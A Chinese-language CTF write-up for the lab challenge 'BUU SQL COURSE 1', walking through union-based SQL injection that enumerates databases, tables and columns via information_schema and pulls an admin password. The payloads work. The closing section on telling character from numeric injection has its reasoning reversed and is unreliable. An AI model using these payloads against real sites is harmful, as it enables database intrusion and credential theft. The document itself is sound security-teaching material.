一、SQL语句基础知识
创建数据库:
sql
create database test1;
查看数据库:
sql
show databases;
使用数据库:
sql
use test1;
二、SQL注入实战
CTF题目:BUU SQL COURSE 1
打开靶机,通过按下F12
,点击测试新闻1
,找到了隐藏url,存在get请求传参。
于是,我们就可以在id=1后面进行注入。
1.利用联合查询 union select
探测注入点
(1)方法1
通过输入:
sql
-1 union select 1; #
回显如下:
无回显,那就尝试注入不同的列数,看网页是否有不同的回显。
因为union select
要求联合的前后请求列数必须相等,才会出结果。
sql
id=-1 union select 1,2; #
有回显,说明列数为2。
(2)方法2
sql
id=1 order by 2#
2.探测目标数据库名、表名、字段名、内容
由于information_schema
这个库是mysql的四个基本系统库之一,它存储了mysql的库名、表名、字段名等信息。
table_schema
:数据库_表名
tables
:表名
schema_name
:查询这个字段,回显某个数据库的库名
table_name
:查询这个字段,回显某个表的表名
通过前面的联合查询语句id=-1 union select 1,2; #
可知,控制联合查询1,2
任意一个位置为回显位,即可带回数据。
(1)获取当前数据库的版本:
sql
id=-1 union select 1,version();#
得到回显:
(2)获取当前连接数据库名称:
sql
id=-1 union select 1,database();#
得到回显:
(3)获取当前连接用户:
sql
id=-1 union select 1,user();#
得到回显:
(4)获取所有数据库列表:
sql
id=-1 union select 1,group_concat(schema_name) from information_schema.schemata;#
得到回显:
(5)
方法一:
获取news数据库
所有表名**(其他库我都试了,没flag,读者从这一步骤往后,可以每个库试一下)**
如果,我们想看news
库里有什么表,输入:
sql
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema ='news';#
得到回显:
(6)查询news数据库
中 admin
表的字段名:
sql
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema ='news' and table_name ='admin';#
得到字段password
(id和username字段
在这道题中,我不需要):
(7)查询new库
中admin表
中的passsword字段
值,拿到了登录密码:
sql
id=-1 union select 1,password from news.admin;#
方法二:
从建立连接的数据库中,查询数据库名、表名:
sql
id=-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
得到回显:
从建立连接的news数据库
中,查询admin表
的列名:
sql
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#
得到回显:
从建立连接的admin表
查询password
的值:
sql
id=-1 union select group_concat(username),group_concat(password) from admin
得到回显:
最后一步就不演示了。
三、补充知识
如何判断目标靶机是字符注入、还是数字注入?^1^
(1)拿到一个网页,先进行字符注入
sql
id=1 order by 1#
得到回显,说明是字符注入:
(2) 后进行数字注入
sql
id=1' order by 1#
得到回显为空,不是数字注入: